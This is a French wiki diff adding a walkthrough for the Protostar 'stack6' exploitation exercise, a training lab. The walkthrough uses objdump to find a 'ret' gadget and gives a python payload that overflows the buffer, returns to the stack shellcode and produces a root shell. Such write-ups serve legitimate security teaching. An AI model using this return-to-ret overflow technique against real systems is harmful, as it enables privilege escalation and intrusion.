Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
exploit_exercises_protostar:stack6 [2012/09/01 14:50] TheLizardKing créée |
exploit_exercises_protostar:stack6 [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 29: | Ligne 29: | ||
{ | { | ||
getpath(); | getpath(); | ||
+ | } | ||
+ | </code> | ||
+ | Petite difficulté en plus, cette fois ci nous ne pouvons pas faire sauter directement le programme sur une adresse commençant par ''0xbf''. Cependant, si on fait sauter le programme sur lui même, sur un ''ret'' par exemple. Il va dépiler une adresse et sauter dessus de nouveau ! Il suffit de donc de faire sauter le programme sur un ''ret'' et de donner ensuite l'adresse de notre shellcode pour que celui ci saute dessus. | ||
- | + | <code> | |
- | } | + | user@protostar:/opt/protostar/bin$ objdump -S ./stack6 | grep ret |
+ | 804835f: c3 ret <<<< On prend celui ci par exemple | ||
+ | 8048454: c3 ret | ||
+ | 8048482: c3 ret | ||
+ | 80484f9: c3 ret | ||
+ | 8048508: c3 ret | ||
+ | 8048514: c3 ret | ||
+ | 8048579: c3 ret | ||
+ | 804857d: c3 ret | ||
+ | 80485a9: c3 ret | ||
+ | 80485c7: c3 ret | ||
+ | user@protostar:/opt/protostar/bin$ (python -c 'print "A"*80+"\x5f\x83\x04\x08"+"\x6f\xfd\xff\xbf"'; cat) | ./stack6 | ||
+ | input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAA_o??? | ||
+ | id | ||
+ | uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user) | ||
</code> | </code> |